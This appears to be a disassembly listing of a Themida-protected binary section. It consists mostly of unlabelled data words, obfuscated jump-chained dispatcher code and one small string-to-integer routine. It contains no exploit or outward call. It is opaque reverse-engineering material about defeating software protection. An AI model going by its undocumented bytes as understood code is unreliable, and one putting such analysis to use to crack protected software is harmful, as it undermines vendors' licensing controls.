		dd 0E827F18Dh, 33C36105h, 0E82EED95h, 0B805h, 0C2810000h
		dd 5D816878h, 2C0E9h, 958B5000h, 5E82D35h, 4C14BB5Ah, 1B8503Ch
		dd 8B000000h, 0E82D259Dh, 8CBD8D05h, 6A05E843h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 50EEC356h, 1E249E21h, 0E917B2E3h, 16Bh, 0BE960h, 97C80000h
		dd 6FA6EF20h, 5AC6DC9Fh, 0B1BD89D5h, 6105E813h,	0F02F883h
		dd 7B85h, 8DDE8B00h, 0E84584BDh, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 4C49BE58h
		dd 45EE2180h, 0D88B664Ah, 0EE8h, 514B3A00h, 0F9CDB8D2h
		dd 0F314ABDh, 0B7F3F857h, 0E95A78h, 6A000001h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 2340C352h, 0A99D8B60h, 8105E823h, 0BF61B9C0h, 0BD31613Fh
		dd 5E82071h, 0F03F883h,	5E85h, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0E890F78h
		dd 60000000h, 23A9BD8Bh, 958905E8h, 5E80D85h, 0E5CDBA61h
		dd 0BD8D40F9h, 5E84718h, 35958B60h, 0E905E816h,	0Ah, 35331C74h
		dd 942126E7h, 0E9612FCCh, 6Fh, 0DDBBD18Bh, 837EC3EDh, 850F05F8h
		dd 5Fh,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah
		dd 45C35343h, 0A2361FA0h, 11E9C78Ah, 0F2000000h, 6610189h
		dd 0E3D5397Fh, 74965C41h, 0A49F8757h, 0A7E9h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 359D0B45h, 5705E82Ch, 2CDD958Bh, 77B905E8h, 0BB4AA84Fh
		dd 58C29B81h, 0F003F83h, 6B84h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 80B9E1A8h
		dd 5A65C314h, 49958BB2h, 3005E824h, 0E9958B0Fh,	0D105E802h
		dd 56006AC9h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 61FF270Ah, 6429B214h, 0A599D8Bh,	0B74705E8h
		dd 0FF92E93Fh, 0BD09FFFFh, 5E813E9h, 0F05F883h,	8085h
		dd 0C59D8B00h, 6605E823h, 0BD01D98Ch, 5E82CB1h,	0F04C1F6h
		dd 3D85h, 0C9858900h, 0B805E80Bh, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 52C35747h
		dd 2F9C1ABAh, 8CC68024h, 0E9DFBF0Fh, 31h, 13CD958Bh, 858B05E8h
		dd 5E80A75h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	0BAC35141h, 89E0FFFBh, 0E82DE5BDh, 79BD8305h, 5E80Ch
		dd 0E6850Fh, 8D090000h,	5E820E5h, 0DA8B6690h, 14E950h
		dd 49CA0000h, 0EFADB250h, 6103D6CDh, 2F4FF1B0h,	0FCA19CC9h
		dd 0B290B574h, 85C6FCA8h, 5E82015h, 0CE845h, 90F60000h
		dd 50D5E21h, 0E125F34Fh, 0BF0F438Ch, 0FE85BD8h,	26000000h
		dd 542166FEh, 0ACF1CF55h, 4114AEA7h, 9D3131EFh,	5E829D9h
		dd 4A9E685Ah, 4813FF2h,	801ECB24h, 9585014Eh, 0FF05E831h
		dd 0E82559B5h, 858DF505h, 5E838D7h, 5E9h, 0A622E300h, 0D0FFE624h
		dd 1045B531h, 858905E8h, 5E80C79h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 84C35747h, 4F1179A8h, 0ED958BCFh
		dd 5805E805h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Ch,	7CC35545h, 10819424h, 0DFE46BD3h, 5A40B653h, 4D5BBD83h
		dd 0F0005E8h, 7C84h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 8B855624h, 0EF3886B2h
		dd 15B5FF6Eh, 0B205E807h, 0D950331h, 0FF05E831h, 0E80C7995h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 1BA4E0ECh, 0BFF38944h, 9D8BB525h, 5E81BF5h
		dd 0EE9h, 1742CE00h, 0D44F102Dh, 0B463C25h, 89811334h
		dd 0E816CD8Dh, 0F88305h, 13C850Fh, 0BF0F0000h, 0A5BD83D8h
		dd 5E80Dh, 0A3840Fh, 820F0000h,	0
		dd 0DA5B5FFh, 810F05E8h, 1, 1B8F9h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0D0A696C3h
		dd 1E9AF98h, 0AE8h, 0D44B0F00h,	56699C11h, 0E961DCB0h
		dd 12h,	632F89F8h, 983F4EEDh, 1784A024h, 396437EFh, 0E95A2CFCh
		dd 27Bh, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 16h,	0D2C35545h, 0D280AA25h,	10E877h, 6D260000h, 229A4D02h
		dd 65F12677h, 0CFEA01D0h, 0B58983BCh, 5E80995h,	15B5FF5Bh
		dd 8905E807h, 0E82CD99Dh, 15B5FF05h, 6A05E807h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 75E7C351h, 0D23E006Ch, 68E0FEFh, 89000000h, 0E81FBD95h
		dd 0EF28105h, 0FF4C1DC2h, 0E80C79B5h, 0FE905h, 0FED0000h
		dd 0F472BE33h, 9504D0A2h, 0DD0A9967h, 1D9E949h,	6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 3EA4D5C3h, 1BFDB529h, 895F05E8h, 0E81B95B5h,	0DBD8305h
		dd 5E809h, 100850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 0E743FC3h, 306D7C49h
		dd 1AD98D89h, 958B05E8h, 5E81B65h, 201585C6h, 6A4D05E8h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 0E9EEC353h, 0Dh, 0BC7C42E5h, 0AE9F63Eh, 16FD2A8Dh
		dd 0EB816685h, 62686F9Eh, 52271047h, 0D88B5250h, 5A57310Fh
		dd 815B585Ah, 2F462404h, 6A7D25h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0B237CDC3h, 0B5FFD78Bh
		dd 5E80FDDh, 8D32DB80h,	0E838D785h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 8B6ACA96h
		dd 0E8033595h, 0A1B58905h, 0FF05E81Ah, 11E9D0h,	26680000h
		dd 0C615749Ch, 0DA213421h, 43D7A225h, 662D68C9h, 8589D68Bh
		dd 5E8090Dh, 2E0D8D89h,	0B805E8h, 89000000h, 0E80D81BDh
		dd 4BD8905h, 0BA05E84Dh, 34C223C5h, 840FC00Bh, 0Eh, 0E91CCB80h
		dd 7Bh,	11999D8Bh, 0B5FF05E8h, 5E80C79h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 14h, 8AC35343h, 11E9h
		dd 198EA600h, 0EEAA57A1h, 374B50F8h, 0C72D6C70h, 5360CBDAh
		dd 3CC38166h, 8D6158FDh, 0EAA33885h, 13E89005h,	0A3000000h
		dd 0F438751Bh, 4A2CDF90h, 78EAA00Ah, 432BD75Ah,	47BBF5FDh
		dd 5B6C7CBFh, 90FAB350h, 0A7D4C0BBh, 999D8967h,	5005E809h
		dd 75BD8D56h, 8D05E853h, 0E87A4B8Dh, 23BCB805h,	0CF2B7483h
		dd 0C8D00730h, 0F8754947h, 0BD83585Eh, 5E80DA5h, 8B067400h
		dd 0E822F58Dh, 0B8C93305h, 0
		dd 840FC00Bh, 99h, 203DBD83h, 740005E8h, 5D95FF06h, 0B805E82Bh
		dd 0
		dd 975C00Bh, 4D0CBD83h,	740105E8h, 0CBD8309h, 205E84Dh
		dd 0B58B0E75h, 5E84D04h, 0A338858Dh, 0D0FF05EAh, 416A858Dh
		dd 0D0FF05E8h, 3331BD83h, 750205E8h, 21A58B2Fh,	8B05E82Eh
		dd 0E80DA585h, 24048905h, 16FD85C7h, 105E8h, 0B58B0000h
		dd 5E84D08h, 1B9DAD8Bh,	1B805E8h, 0C2000000h, 0EB000Ch
		dd 16FD85C7h, 105E8h, 0A58B0000h, 5E82E21h, 1545B58Bh
		dd 0AD8B05E8h, 5E81B9Dh, 0CC2C033h, 69BD8300h, 5E819h
		dd 0BD830F74h, 5E8241Dh, 0FF067400h, 0E8241D95h, 4B58B05h
		dd 0C305E84Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	0BC35747h, 45ECF67Bh, 89389710h, 0E80819BDh, 4D958905h
		dd 2B05E81Fh, 0FD8A60D2h, 0D08B61FCh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_5494A0
; ---------------------------------------------------------------------------


loc_54949E:				; CODE XREF: Themida_:005494A3j
		inc	eax
		inc	edi


loc_5494A0:				; CODE XREF: Themida_:0054949Cj
		cmp	byte ptr [edi],	0
		jnz	short loc_54949E
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_5494CF
; ---------------------------------------------------------------------------


loc_5494AC:				; CODE XREF: Themida_:005494D1j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_5494C4
; ---------------------------------------------------------------------------


loc_5494C1:				; CODE XREF: Themida_:005494C7j
		mul	ebx
		dec	esi


loc_5494C4:				; CODE XREF: Themida_:005494BFj
		cmp	esi, 0
		ja	short loc_5494C1
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_5494CF:				; CODE XREF: Themida_:005494AAj
		or	eax, eax
		jnz	short loc_5494AC
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh,	0BFh, 0DAh
		dd 0D3816657h, 8B5B84C8h, 1DA0E9C1h, 0FF680002h, 94C0012h
		dd 94C005Bh, 3F005Bh, 25Ah, 280000h, 45A025Ah, 246005Bh
		dd 20000h, 2 dup(10000h), 192D0000h, 0FA6Ch, 4 dup(0)
		dd 4B290000h, 4EB60055h, 0FAF00055h, 0E2070054h, 0E4510054h
		dd 0FF20054h, 0C0890055h, 0C2B90054h, 0F8480054h, 0F3FE0054h
		dd 0CCC20054h, 15890054h, 32C80055h, 482D0055h,	33640055h
		dd 0F6380055h, 4980054h, 0D8380055h, 0EF070054h, 0E3E50054h
		dd 0BD6D0054h, 0EA730054h, 0D1A70054h, 2C2D0054h, 0CF8E0055h
		dd 23D80054h, 0A37E0055h, 39B70054h, 0FD710055h, 0D760054h
		dd 0ECB50055h, 57380054h, 0A9A20055h, 0B3840054h, 3BF50054h
		dd 0B0600055h, 0AC80054h, 0AB850055h, 54230054h, 0ACBC0055h
		dd 0C9BC0054h, 4C270054h, 984E0055h, 0B1070054h, 0FDB70054h
		dd 0C1FA0054h, 0B7300054h, 0B2A70054h, 1EBE0054h, 0EBA80055h
		dd 0DB440054h, 10490054h, 0B59D0055h, 468E0054h, 9C4F0055h
		dd 0FDCF0054h, 4AB70054h, 0F9390055h, 38C40054h, 0F1980055h
		dd 2B70054h, 0C270055h,	0EC3F0055h, 0DD8C0054h,	0AE580054h
		dd 452A0054h, 3B790055h, 4D5E0055h, 9280055h, 0A210055h
		dd 0CC9D0055h, 0E3670054h, 2AFC0054h, 19210055h, 22CD0055h
		dd 6260055h, 3D440055h,	51010055h, 0D08B0055h, 0B760054h
		dd 9DAB0055h, 0F7E20054h, 1B230054h, 0B5400055h, 0F810054h
		dd 0DFD40055h, 0A8340054h, 0E6800054h, 0CE230054h, 22180054h
		dd 2C250055h, 2FB0055h,	3C3E0055h, 0B1FC0055h, 9F3A0054h
		dd 528F0054h, 515F0055h, 1AB20055h, 0ED3F0055h,	0BCA0054h
		dd 16B30055h, 193C0055h, 0C5A80055h, 1D8F0054h,	0EEDB0055h
		dd 0DB2F0054h, 0DD9C0054h, 0C640054h, 10120055h, 79B0055h
		dd 9C5A0055h, 1BD10054h, 0E9080055h, 0DBF30054h, 0B3750054h
		dd 0D0580054h, 0B19C0054h, 23300054h, 0E7A0055h, 0A0BA0055h
		dd 321C0054h, 0EFE50055h, 1A490054h, 1B850055h,	44C00055h
		dd 54B50055h, 31D00055h, 0B3CF0055h, 7BA0054h, 563A0055h
		dd 0A9B90055h, 0E4640054h, 0C5D20054h, 0E0CE0054h, 0CE3D0054h
		dd 0E0160054h, 0F04D0054h, 0CB700054h, 0DF3C0054h, 547B0054h
		dd 0E1410055h, 0D0210054h, 0C0B30054h, 0DB240054h, 1A510054h
		dd 0C1AD0055h, 1C490054h, 0AAEE0055h, 0D83E0054h, 30F20054h
		dd 0DAF90055h, 19B20054h, 0E0C00055h, 31C60054h, 0DA5C0055h
		dd 9130054h, 40F90055h,	38EE0055h, 0BDB00055h, 0C6D00054h
		dd 37700054h, 0CA230055h, 0E4D0054h, 0DDC20055h, 0E6770054h
		dd 13460054h, 10D60055h
		db 55h,	0
; ---------------------------------------------------------------------------


loc_5497CE:				; CODE XREF: Themida_:00575FA9j
					; Themida_:0057BBFBj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 5E87EA9h
		mov	eax, edi
		add	edi, 5E87BC1h
		cmp	eax, [edi+2Ch]
		jnz	short loc_5497EC
		jmp	short loc_5497FF
; ---------------------------------------------------------------------------


loc_5497EC:				; CODE XREF: Themida_:005497E8j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_5497FB
; ---------------------------------------------------------------------------


loc_5497F6:				; CODE XREF: Themida_:005497FDj
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_5497FB:				; CODE XREF: Themida_:005497F4j
		or	ecx, ecx
		jnz	short loc_5497F6


loc_5497FF:				; CODE XREF: Themida_:005497EAj
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_54980C:				; CODE XREF: Themida_:00549813j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_54980C


loc_549815:				; CODE XREF: Themida_:0054A091j
					; Themida_:0054A888j ...
		lodsb
		push	ecx
		mov	cl, 15h
		add	al, cl
		mov	ecx, [esp]
		jmp	loc_54EE8E
; ---------------------------------------------------------------------------


loc_549823:				; CODE XREF: Themida_:0054AFBFj
		push	ecx
		mov	cl, 11h
		push	eax
		mov	ah, 6Eh
		mov	bh, 0EAh
		xor	bh, ah
		pop	eax
		sub	bh, cl
		pop	ecx
		or	bh, 71h
		sub	bh, 8Bh
		or	bh, 0FBh
		push	edx
		mov	dh, 97h
		and	dh, 16h
		or	dh, 24h
		push	ecx
		mov	cl, 30h
		sub	dh, cl
		pop	ecx
		jmp	loc_5547A7
; ---------------------------------------------------------------------------
		dw 0F068h
		dd 8900000Dh, 0BA2414h,	9000002h, 34FF1C57h, 89515A24h
		dd 763EE9E1h, 55E0000h,	6BF27F65h, 0DDE9F829h, 580000B1h
		dd 5C24048Fh, 71FFE9h, 70C38100h, 8106F47Ch, 627799C3h
		dd 27E95027h, 66000058h, 80FDB753h, 0EC837EEFh,	24148904h
		dd 1A7CE9h, 88515000h, 0A004E9F5h, 88520000h, 0E9D188C2h
		dd 4B39h
; ---------------------------------------------------------------------------


loc_5498B8:				; CODE XREF: Themida_:00549A54j
		sub	ecx, 1A8014F1h
		add	ecx, 43652C72h
		or	ecx, 5FD6673Bh
		jmp	loc_54DA38
; ---------------------------------------------------------------------------
		db 1
		dd 0C335EF1h, 240C3124h, 5C240C33h, 484FE9h, 243C8B00h
		dd 4C481h, 685B0000h, 917h, 0BF243C89h,	3B6F3DA0h, 535FFB29h
		dd 4E26E9h
		db 0
; ---------------------------------------------------------------------------


loc_549901:				; CODE XREF: Themida_:00550E05j
		sub	edx, 5F3C45C7h
		and	edx, 0F517177h
		push	ebp
		mov	ebp, 52F300C0h
		push	edi
		mov	edi, 45563AB5h
		add	ebp, 4887184Bh
		sub	ebp, edi
		sub	ebp, 4887184Bh
		jmp	loc_54C314
; ---------------------------------------------------------------------------
		dd 159CF89h, 243C8BFAh,	22E95457h, 66000048h, 66CCB60Fh
		dd 66597068h, 66240C89h, 66C8B60Fh, 0F1E99C51h,	0B200006Eh
		dd 41EA804Ch, 0BAFBE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54995E:				; CODE XREF: Themida_:00550958j
		pop	esi
		jmp	loc_54C075
; ---------------------------------------------------------------------------


loc_549964:				; CODE XREF: Themida_:0055579Fj
		add	ecx, ebp
		pop	ebp
		pop	eax
		and	eax, ecx
		jmp	loc_54BC80
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0B6E92404h
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_549977:				; CODE XREF: Themida_:0054B07Cj
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_5538BC
; ---------------------------------------------------------------------------
		dw 0BDB8h
		dd 81010467h, 0EF04246Ch, 11B6F27h, 57042444h, 6F27EFBFh
		dd 40B0E91Bh, 5B5D0000h, 3D7E9h
		db 0
; ---------------------------------------------------------------------------


loc_5499A9:				; CODE XREF: Themida_:0055188Ej
		add	bl, al
		sub	bl, 89h
		sub	bl, 42h
		push	small 582Ah
		mov	[esp], dx
		push	cx
		jmp	loc_554AFA
; ---------------------------------------------------------------------------
aAiAitaiuSwk	db '±¹€ëÀ€ëT€ëã(ËéWk',0
		align 2
		dw 0BE66h
		dd 296605AEh, 0E95E66F3h, 106Ah, 5C241C87h, 4C581h, 0C5830000h
		dd 242C8704h, 4BB5E9h
		db 0
; ---------------------------------------------------------------------------


loc_5499F5:				; CODE XREF: Themida_:0054A71Fj
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_54A3B9
; ---------------------------------------------------------------------------


loc_549A00:				; CODE XREF: Themida_:0054AE7Cj
		add	ebx, 72A60003h
		pop	edx
		mov	eax, [ebx]
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_54B166
; ---------------------------------------------------------------------------
aFbYsfFbiysh	db 'fÃYsf)ÃfëYsh%',0Dh,0
		dw 8900h
aSI		db ',$é̈',0
		db 0
; ---------------------------------------------------------------------------


loc_549A37:				; CODE XREF: Themida_:0054EA6Ej
		jz	loc_554598
		push	edx
		mov	edx, 20h
		add	edx, edi
		sub	esp, 4
		mov	[esp], ecx
		push	216D5D48h
		pop	ecx
		jmp	loc_5498B8
; ---------------------------------------------------------------------------
		db 50h,	54h, 8Bh
		dd 0C4812404h, 4, 405h,	4E88300h, 5C240487h, 3E05E9h, 24048700h
		dd 2434895Ch, 42474FFh,	5C12E9h, 5B545300h, 4C381h, 0EC830000h
		dd 24048904h, 90519CB8h, 4254873h, 0F708DB7Eh, 0B00435D8h
		dd 82E9FF6Fh, 6800000Eh, 3389h,	0E9243489h, 68B0h
; ---------------------------------------------------------------------------


loc_549AB8:				; CODE XREF: Themida_:005504DEj
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	esi
		mov	esi, esp
		jmp	loc_54BEC6
; ---------------------------------------------------------------------------
		dw 5558h
		dd 1265E9h, 0CD015B00h,	385E9h,	24248B00h, 447CE956h, 2C890000h
		dd 2474FF24h, 48F5D04h,	8529E924h, 0E1890000h, 4C181h
		dd 0EFE90000h, 5100001Eh, 6F4E0AB9h, 59CD310Ah,	0C1FFC583h
		dd 0EC8107E5h, 4, 0B5FDE9h
		db 0
; ---------------------------------------------------------------------------


loc_549B15:				; CODE XREF: Themida_:0054D59Ej
		add	esi, 15613AC6h
		shr	esi, 5
		xor	esi, 6F493047h
		xor	esi, 7C141EB7h
		xor	edi, esi
		jmp	loc_54E211
; ---------------------------------------------------------------------------
		db 80h,	0F5h, 0C1h
		dd 868AC580h, 86D2F6D5h, 93B050D5h, 0FE58C530h,	0F6CDFECDh
		dd 0C0C580DDh, 459EE28h, 2CF0284Fh, 0AC045A4Fh,	0AC2CD828h
		dd 3068FE04h, 8900002Fh, 0B4502414h, 0E951660Ah, 3F53h
		dd 4BEBE95Ah, 6AB80000h, 0E947570Fh, 9033h, 525EF229h
		dd 42474FFh, 8324148Bh,	48F04C4h, 24248B24h, 0BF243C89h
		dd 4876CE5Dh, 6875E9h
		db 0
; ---------------------------------------------------------------------------


loc_549BA1:				; CODE XREF: Themida_:0054A5FEj
		add	eax, 50807E5Bh
		jmp	loc_553474
; ---------------------------------------------------------------------------


loc_549BAB:				; CODE XREF: Themida_:0054C3E6j
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 126B4708h
		xor	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54D04D
; ---------------------------------------------------------------------------


loc_549BCF:				; CODE XREF: Themida_:005554B0j
		mov	[esp], edi
		mov	edi, ebp
		mov	esi, edi
		pop	edi
		pop	ebp
		add	dword ptr [esp+4], 3D814E90h
		jmp	loc_552F25
; ---------------------------------------------------------------------------


loc_549BE5:				; CODE XREF: Themida_:0054A06Ej
		add	ebx, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_54E27A
; ---------------------------------------------------------------------------


loc_549BF0:				; CODE XREF: Themida_:0054D053j
		mov	[esp], edi
		push	esi
		mov	esi, 19E3039Eh
		dec	esi
		shl	esi, 2
		xor	esi, 533F2E92h
		add	esi, 1
		and	esi, 5BB907C6h
		xor	esi, 402E0161h
		mov	edi, 0B16B6618h
		add	edi, 23415450h
		jmp	loc_54AC57
; ---------------------------------------------------------------------------
		db 68h,	29h, 13h
		dd 15AB9C1h, 2434FFD7h,	8324148Bh, 20E904C4h, 8900000Bh
		dd 6BB82404h, 356E6731h, 6E67316Fh, 75E9C601h, 0AD000074h
		dd 34DCE9h, 0FBBBE900h,	34FFFFFFh, 6551E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_549C62:				; CODE XREF: Themida_:0054A03Fj
		add	ebp, 4
		jmp	loc_54A217
; ---------------------------------------------------------------------------
		dw 835Fh
		dd 0BB5304C4h, 2, 9F60E9h, 242C3300h, 0BE0F665Ch, 31EBE9C8h
		dd 0CF010000h, 0E9FB8959h, 846h, 119F6852h, 1C890000h
		dd 0FDDBB24h, 0E3817414h, 410A7FF9h, 0D3F7D3F7h, 402E9h
		dd 1CC58100h, 8176922Eh, 7E4B0FEDh, 2ED8143h, 10FA551h
		dd 2C581CDh, 810FA551h,	7E4B0FC5h, 21E9E943h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_549CD2:				; CODE XREF: Themida_:0054D99Fj
		push	eax
		mov	al, 3Ah
		add	al, 84h
		jmp	loc_55186E
; ---------------------------------------------------------------------------


loc_549CDC:				; CODE XREF: Themida_:0054A141j
		xor	eax, 5F9E08D8h
		mov	ebp, eax
		pop	eax
		push	edi
		mov	edi, 5AEB18CBh
		add	dword ptr [esp+8], 31132D68h
		sub	[esp+8], edi
		push	ecx
		mov	ecx, 31132D68h
		sub	[esp+0Ch], ecx
		pop	ecx
		jmp	loc_552987
; ---------------------------------------------------------------------------
aBaa_Iusb?	db 'íaì.Á‰îéB?',0
		db 0
; ---------------------------------------------------------------------------


loc_549D13:				; CODE XREF: Themida_:00549EDDj
		add	esp, 4
		push	esi
		mov	esi, 4
		jmp	loc_555040
; ---------------------------------------------------------------------------


loc_549D24:				; CODE XREF: Themida_:00552877j
		add	ebp, 4
		jmp	loc_54B0F9
; ---------------------------------------------------------------------------
		db 1
aQ313Sws	db 'ï]3<$1<$3<$éw˜',0
		align 10h


loc_549D40:				; CODE XREF: Themida_:0054F8D9j
		pop	ebx
		jmp	loc_553747
; ---------------------------------------------------------------------------
		dw 481h
		dd 424h, 4055800h, 51000000h, 4B9h, 59C80100h, 5C240487h
		dd 0E91AEB80h, 9567h, 50242C8Bh, 405E089h, 5000000h, 4
		dd 0E9240487h, 16E2h, 846BF57h,	0D7F738EEh, 0EF81D7F7h
		dd 5BDD1D59h, 0F781D7F7h, 249F01D3h, 0E85DEF81h, 84E9BB2Ch
		db 9Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_549DA3:				; CODE XREF: Themida_:0055236Dj
		pop	ebx
		add	eax, edi
		jmp	loc_54F58F
; ---------------------------------------------------------------------------
		db 66h
		dd 51240C8Bh, 4EC81h, 24890000h, 24048324h, 0A883E904h
		dd 0C6830000h, 24348704h, 29EE815Ch, 295FAA43h,	29C681DEh
		dd 8B5FAA43h, 0C483241Ch, 7C1E6804h, 0DDE90000h, 53000062h
		dd 2BBh, 4EC8100h, 89000000h, 97BA2414h, 2964A047h, 0D9015AD1h
		dd 4797BE56h, 0F10164A0h, 8324348Bh, 875B04C4h,	248B240Ch
		dd 24043024h, 0F9F7E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549E1E:				; CODE XREF: Themida_:0054B884j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 4
		push	4955h
		mov	[esp], ebp
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5512C9
; ---------------------------------------------------------------------------
aIXggss1	db '‰ÇXGGé™1',0
		align 2
		dw 0C581h
		dd 3B4D0965h, 541AC581h, 0E95940CDh, 851Ch, 2C481h, 52660000h
		dd 0CA806DB2h, 0C0CAFE4Fh, 0EA8003EAh, 58C380A9h, 6E77E9h
		dd 0E9C4B000h, 57Bh
; ---------------------------------------------------------------------------


loc_549E90:				; CODE XREF: Themida_:0054C3B6j
		shl	edx, 3
		jmp	loc_551260
; ---------------------------------------------------------------------------
		dd 81E68956h, 4C6h, 4C68100h, 0E9000000h, 0AFF8h
; ---------------------------------------------------------------------------


loc_549EAC:				; CODE XREF: Themida_:005538ADj
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		xor	ebx, 62FC473Fh
		add	ebx, 13C655D9h
		sub	ebx, 4A2713BCh
		jmp	loc_552F3B
; ---------------------------------------------------------------------------


loc_549EC8:				; CODE XREF: Themida_:0054C14Bj
		shl	edi, 3
		jmp	loc_54F09E
; ---------------------------------------------------------------------------


loc_549ED0:				; CODE XREF: Themida_:0054DCB9j
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edi, [esp]
		jmp	loc_549D13
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 0C895C24h, 5529B924h, 0BA5227F7h, 0E4F4211h,	2167E9h
		db 0
; ---------------------------------------------------------------------------


loc_549EF9:				; CODE XREF: Themida_:0054B77Fj
		not	ebp
		jmp	loc_54E7B0
; ---------------------------------------------------------------------------
		dd 0B8240489h, 4, 48BC301h, 4C48124h, 56000000h, 3F6DD8BEh
		dd 1B1FE959h, 0AC680000h, 89000074h, 4DE92404h
		db 70h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_549F2B:				; CODE XREF: Themida_:0054B651j
		pop	eax
		jmp	loc_54E6C0
; ---------------------------------------------------------------------------
		db 66h,	89h, 0Ch
		dd 0F8DBE924h, 8B66FFFFh, 54562404h, 8124348Bh,	4C4h, 0DBBF5700h
		dd 477F0A46h, 5102EFC1h, 664FE956h, 0E5680000h,	89000050h
		dd 3FBA2414h, 0BB645B55h, 9F18C511h, 9AE2E9h, 76EB8100h
		dd 1E5E635h, 8C3DE9DDh,	0C890000h, 4B924h, 0CA010000h
		dd 4C28359h, 487FE9h, 0FA015800h, 4C2815Fh, 33000000h
		dd 14312414h, 24143324h, 8124248Bh, 4C4h, 2434FF00h, 582434FFh
		dd 4C481h, 0E9510000h, 9A06h
; ---------------------------------------------------------------------------


loc_549FC0:				; CODE XREF: Themida_:00552545j
		add	ebp, 0B38B2EEh
		add	ebx, 7E64484Dh
		add	ebx, ebp
		sub	ebx, 7E64484Dh
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_54E6A1
; ---------------------------------------------------------------------------
		db 1
		dd 0EC815EF1h, 4, 53241489h, 0DC3132BBh, 524B4B22h, 9A0935BAh
		dd 81E2D133h, 0E65FA9EAh, 47C28100h, 21E3FD62h,	0F3815AD3h
		dd 27277A05h, 753AE9h, 0D3EF8100h, 117FFF4h, 243C8BFDh
		dd 8304C483h, 2C3302C5h, 242C3124h, 0FFFC48E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A031:				; CODE XREF: Themida_:0054D27Fj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		jmp	loc_549C62
; ---------------------------------------------------------------------------
		dd 4BAh, 5AD00100h, 42Dh, 24043300h, 33240431h,	895C2404h
		dd 0C8682434h, 0E955C02Ah, 8C39h
; ---------------------------------------------------------------------------


loc_54A068:				; CODE XREF: Themida_:005558B5j
		push	esi
		mov	esi, 52B1445Dh
		jmp	loc_549BE5
; ---------------------------------------------------------------------------
		db 81h
